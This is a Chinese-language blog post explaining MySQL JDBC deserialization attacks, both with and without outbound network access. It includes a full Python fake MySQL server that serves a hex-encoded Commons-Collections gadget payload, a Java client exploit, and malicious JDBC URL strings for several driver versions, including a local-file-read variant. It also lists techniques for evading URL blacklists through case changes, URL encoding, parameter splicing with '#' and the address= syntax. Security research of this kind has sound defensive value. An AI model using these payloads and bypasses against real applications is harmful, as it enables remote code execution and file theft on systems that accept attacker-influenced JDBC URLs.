1diot9's Blog
MySQL JDBC Attack常规打法及绕过
1diot9 Lv4
  2025-05-05 19:58:39   2025-10-22 18:29:41    3.2k 字  14 分钟  

不出网打法

https://xz.aliyun.com/news/17830

由m4x师傅最先发现，原理文章中已经详细介绍，这里简单概括一下。

原理概述

概况：在连接参数中指定socketFactory为NamedPipeSocketFactory。此工厂会打开一个文件，并且最终使用这个文件流作为与服务器连接的IO通道，最终实现本地化的mysql通讯，就跟我们打远程jdbc一样。

这里以5.1.47 的驱动为例。

MysqlIO是一个重要的初始化类：

img

重点关注socketFactoryClassName。赋值后，执行了createSocketFactory方法：

img

这个方法会初始化上面的socketFactoryClassName，并且socketFactoryClassName必须是SocketFactory的实现。

看一下这个接口有哪些实现:

img

StandardSocketFactory是socketFactoryClassName的默认值，因为：

img

而我们这里关注NamedPipeSocketFactory。

回头看一下，createSocketFactory()后，会调用对应工厂的connect()：

img

img

可以看到，namedPipePath是从props里获取的。跟进看一下NamePipeSocket的构造方法：

img

这里打开了一个文件，并且最终使用这个文件流作为与服务器连接的IO通道。

回头看一下props是否可控，发现可以的，就是jdbc url里的连接参数。

pcap正常生成

主要讲一下我在pcap生成时遇到的问题。

先给出正确的生成流程。

开启fakeServer：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] > payload
    file= r'D:\1tmp\cc5.bin'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢？？
                # 获取payload
                payload_content=get_payload_content()
                # 计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # 计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='127.0.0.1'
    PORT = 3307

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

打开wireshrak，选择Adapter for loopback traffic capture。

编写规则筛选mysql流量。由于我这里开在3307端口，所以需要写成ip.src == 127.0.0.1 and tcp.dstport == 3307。如果正常在3306端口，则直接输入mysql筛选即可。img

接着正常进行mysql jdbc 出网攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package exp;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class Exp {
    public static void main(String[] args) throws SQLException {
        String url = "jdbc:mysql://127.0.0.1:3307/test?autoDeserialize=yes&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&password=root";
        String noOutBound = "jdbc:mysql://127.0.0.1:3307/test?autoDeserialize=yes&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&password=root&socketFactory=com.mysql.jdbc.NamedPipeSocketFactory&namedPipePath=YsoserialGadgetGenerate.bin";
        String username = "root";
        String password = "root";
        try (Connection connection = DriverManager.getConnection(url, username, password)) {
            System.out.println("数据库连接成功!");
        } catch (SQLException e) {
            System.out.println("数据库连接失败!");
            e.printStackTrace();
        }
    }
}

成功捕获到流量：

img

右击任意一个，选择追踪TCP流。并改成show data as 原始数据：

img

复制所有的16进制数据，使用python解码并输出到pcap

1
2
3
with open("hex.txt", "r") as f:
    data = bytes.fromhex(f.read())
    open("hex1.pcap", "wb").write(data)

得到的pcap文件就能够正常利用：

img

踩坑记录

现在回顾一下自己犯的错误。

1、直接导出特定分组，而没有跟踪TCP流

img

一开始就是按图片上的方式导出的，后来发现有问题。

2、遇到max Packet Allowed报错

按上面的方法导出后，尝试不出网攻击时，会报错max Packet Allowed，即包过大。当时以为要想办法把包缩小才行，没想到一开始导出的方式就错了。

遗留问题

https://github.com/Lotus6/JavaGadgetGenerator

这个工具有一个MysqlPipe功能，但是我一直不知道怎么使用。

我现在是在正常使用ysoserial模块的基础上，额外勾选了MysqlPipe，然后将导出的文件直接作为pcap使用，但是不对。在这个工具发了issue，知道的师傅麻烦回复一下我。

作者回复：

img

另外，m4x师傅文章后半部分，如何利用springboot临时文件也很值得看。

出网打法

拿上面那个fakeServer直接用就行。或者使用网上现成的工具。

mysql jdbc 攻击还有一种读文件的打法，推荐使用 https://github.com/rmb122/rogue_mysql_server

下面简单分析一下利用过程。

Exp

受害端：

利用前提：账号密码等参数可控，这样才能把那两个参数带上；连接的IP可控

1
2
3
4
5
6
7
8
9
10
11
12
import java.sql.*;


public class Test {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.jdbc.Driver");
        String jdbc_url = "jdbc:mysql://127.0.0.1:3306/test123?" +
                "autoDeserialize=true" +
                "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
        Connection con = DriverManager.getConnection(jdbc_url, "root", "root123");
    }
}

fakeServer还是用上面的就行。

原理

当JDBC连接mysql时，会有几个内置的sql语句要执行。mysql的查询结果会以结果集的形式被JDBC接收。当结果集在JDBC上被处理时，会调用ObjectInputStream.readObject()进行反序列化，这个就是我们的入口。当我们可以控制JDBC去连接哪个mysql时，我们就可以让它连接我们的fake mysql，从而让返回的结果集为恶意数据，从而实现反序列化RCE。

内置的，可利用的两条查询语句：

  • SHOW SESSION STATUS
  • SHOW COLLATION

链子

既然是反序列化，那肯定要有链子。链子的后半部分直接用CC链就行了。关键是入口类要怎么找。在这里，我们希望入口类最好是在JDBC连接时被自动调用，这样就可以自动readObject()。

最终，可以找到com.mysql.cj.jdbc.result.ResultSetImpl，它的 getObject() 方法调用了 readObject() 方法：

img

JDBC 通过 MySQL 数据库查询数据会返回一个结果集，将查询到的结果返回给程序，并将结果封装在 ResultSetImpl 这个类中。

所以这个类不满足用户可控输入这一点，而且也不是会被自动调用的，所以我们应该要去找谁调用了 ResultSetImpl#getObject()。能够找到ResultSetUtil#resultSetToMap()：

img

还是不满足条件，继续找，找到ServerStatusDiffInterceptor#populateMapWithSessionStatusValues：

img

这里与mysql建立了连接，并且执行了我们上面说的可以利用的内置查询语句（查询的结果就是我们恶意伪造的数据），然而，还是没有实现自动调用，再找。找到ServerStatusDiffInterceptor#preProcess：

img

ServerStatusDiffInterceptor是一个拦截器，在 JDBC URL 中设定属性queryInterceptors为ServerStatusDiffInterceptor时，执行查询语句会调用拦截器的preProcess和postProcess方法，这是一个自动执行的过程，我们可以把它作为利用链头。这样链子就完整了。

编写fakeServer

这里要先用wireshark抓mysql的数据包，然后用python写脚本伪造整个流程，从建立连接到返回查询结果。

可以参考：https://drun1baby.top/2023/01/13/MySQL-jdbc-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/

调试

在这里打断点：

img

然后在resultSetToMap()步入，进入该方法：

img

然后在第二个getObject处步入，进入该方法，之后一直步过，直到switch判断，应该会进入case:BLOB：

img

图上写了几个关键点，最后就在readObject那边反序列化，后面的就是CC链的流程了。

不同版本mysqlDriver的payload

8.x

反序列化数据：

1
2
3
"jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +  
        "&autoDeserialize=true" +  
    "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";

任意文件读：

1
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360

6.x

属性名不同，queryInterceptors 换为 statementInterceptors

1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

5.1.29-5.1.40

1
jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true

5.1.19-5.1.28

1
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true

>=5.1.11

1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

<=5.1.10

同5.1.11但是需要连接后执行查询

绕过技巧

前言

这里提到的绕过方法很基础。就是大小写，URL编码，参数拼接，#注释等，感觉跟php里的绕过很像。

具体代码参考https://github.com/Y4Sec-Team/mysql-jdbc-tricks

fake-mysql可以使用4ra1n/mysql-fake-server: MySQL Fake Server (纯Java实现，支持GUI版和命令行版，提供Dockerfile，支持多种常见JDBC利用)

注意事项

注释符差异

8.0.x版本中，注释符为#，#后面的内容将被忽略。

8版本在解析connectionString的时候，最后一步query会根据正则匹配将

#后面的注释部分去掉。具体逻辑在下图中：

img

img

可以看到#后面的内容不见了。

在5.1.x版本中，不可以使用#来注释，但是可以在最后拼接&x=来注释。

如：test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360&x=

参数名和参数值解析差异

分析

大小写绕过

如果是这样检查的：img

那么可以直接大小写绕过。

由于mysql里是这样判断参数值的：BooleanPropertyDefinition#parseObject()img

所以大小写不影响autoDeserialize的结果。

另外，图片中看到YES和TRUE都可以，所以true被禁止时，不妨试试YES。还有，据说在低版本驱动中，1也可以。

URL编码

当检查通过URI类获取参数时，会自动解码URL，此时无法通过URL编码绕过，如下图：img

但是如果没有用URI类，那就可能存在URL编码绕过，如下图：img

另外，还有因为mysqlDriver版本产生的URL编码绕过。

如果黑名单检测的代码是这样写的，很有可能会存在绕过的问题。

1
2
3
4
5
public static boolean isValidUrl(String url){
  if(url.contains("allowLoadLocalInfile")||url.contains("allowUrlInLocalInfile")||url.contains("allowLoadLocalInfileInPath")){
    return false;
  }
}

在8.0.x版本中，可以使用使用url编码的方式来对参数名和参数值进行编码。

img

jdbc:mysql://127.0.0.1:33060/test?maxAllowedPacket=655360&characterEncoding=utf-8&allowUrlInLocalInfil%65=%74%72%75%65#

allowUrlInLocalInfile，maxAllowedPacket这些字段都是可以url编码绕过的。

所以从原则上来讲用黑名单来过滤必须要先解码再进行匹配，不然可能会造成黑名单绕过的问题。

在5.1.x版本中，只有参数值可以编码绕过，参数名是没办法编码绕过的。

参数拼接

这个很常用，就是在可控输入点输入一长串达到恶意拼接参数的效果，最后用#把后面的语句注释掉，跟sql注入有点像。

值得一提的是，6.x.x版本的mysql需要在末尾用&#来注释，否则会报错，而8.x.x版本的#或&#都可以。

报错如下：

img

这里应该是6.x.x以&来分割参数，所以并不会把#当作结束符，而是继续当作参数读取。最后就会导致参数格式不合法，从而产生报错。

address绕过

第一次遇到是在suctf2025的ezjava

通过jdbc连接时支持这种语法：jdbc:mysql://address=(host=myhost)(port=1111)(key1=value1)/db

https://dev.mysqlserver.cn/doc/connector-j/en/connector-j-reference-jdbc-url-format.html

img

如果题目通过正则表达式匹配，可以通过这样的方法绕过，同时结合URL编码绕过关键字

不出网的参数有点特别，要这样写：

https://dev.mysqlserver.cn/doc/connector-j/en/connector-j-named-pipe.html

img

不同版本connectJ也许不一样，以官方文档为准。

参考

微信公众平台

JDBC Attack URL 绕过合集

MySQL jdbc 反序列化分析 | Drunkbaby’s Blog

MySQL JDBC Attack常规打法及绕过
2025/05/05/mysql-JDBC-绕过/
作者
1diot9
发布于
2025-05-05 19:58
许可
  1. 1. 不出网打法
    1. 1.1. 原理概述
    2. 1.2. pcap正常生成
    3. 1.3. 踩坑记录
    4. 1.4. 遗留问题
  2. 2. 出网打法
    1. 2.1. Exp
    2. 2.2. 原理
    3. 2.3. 链子
    4. 2.4. 编写fakeServer
    5. 2.5. 调试
    6. 2.6. 不同版本mysqlDriver的payload
      1. 2.6.1. 8.x
      2. 2.6.2. 6.x
      3. 2.6.3. 5.1.29-5.1.40
      4. 2.6.4. 5.1.19-5.1.28
      5. 2.6.5. >=5.1.11
      6. 2.6.6. <=5.1.10
  3. 3. 绕过技巧
    1. 3.1. 前言
    2. 3.2. 注意事项
      1. 3.2.1. 注释符差异
      2. 3.2.2. 参数名和参数值解析差异
    3. 3.3. 分析
      1. 3.3.1. 大小写绕过
      2. 3.3.2. URL编码
      3. 3.3.3. 参数拼接
      4. 3.3.4. address绕过
    4. 3.4. 参考
© 2025    1diot9
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 76.2k 访客数 访问量
  1. 1. 不出网打法
    1. 1.1. 原理概述
    2. 1.2. pcap正常生成
    3. 1.3. 踩坑记录
    4. 1.4. 遗留问题
  2. 2. 出网打法
    1. 2.1. Exp
    2. 2.2. 原理
    3. 2.3. 链子
    4. 2.4. 编写fakeServer
    5. 2.5. 调试
    6. 2.6. 不同版本mysqlDriver的payload
      1. 2.6.1. 8.x
      2. 2.6.2. 6.x
      3. 2.6.3. 5.1.29-5.1.40
      4. 2.6.4. 5.1.19-5.1.28
      5. 2.6.5. >=5.1.11
      6. 2.6.6. <=5.1.10
  3. 3. 绕过技巧
    1. 3.1. 前言
    2. 3.2. 注意事项
      1. 3.2.1. 注释符差异
      2. 3.2.2. 参数名和参数值解析差异
    3. 3.3. 分析
      1. 3.3.1. 大小写绕过
      2. 3.3.2. URL编码
      3. 3.3.3. 参数拼接
      4. 3.3.4. address绕过
    4. 3.4. 参考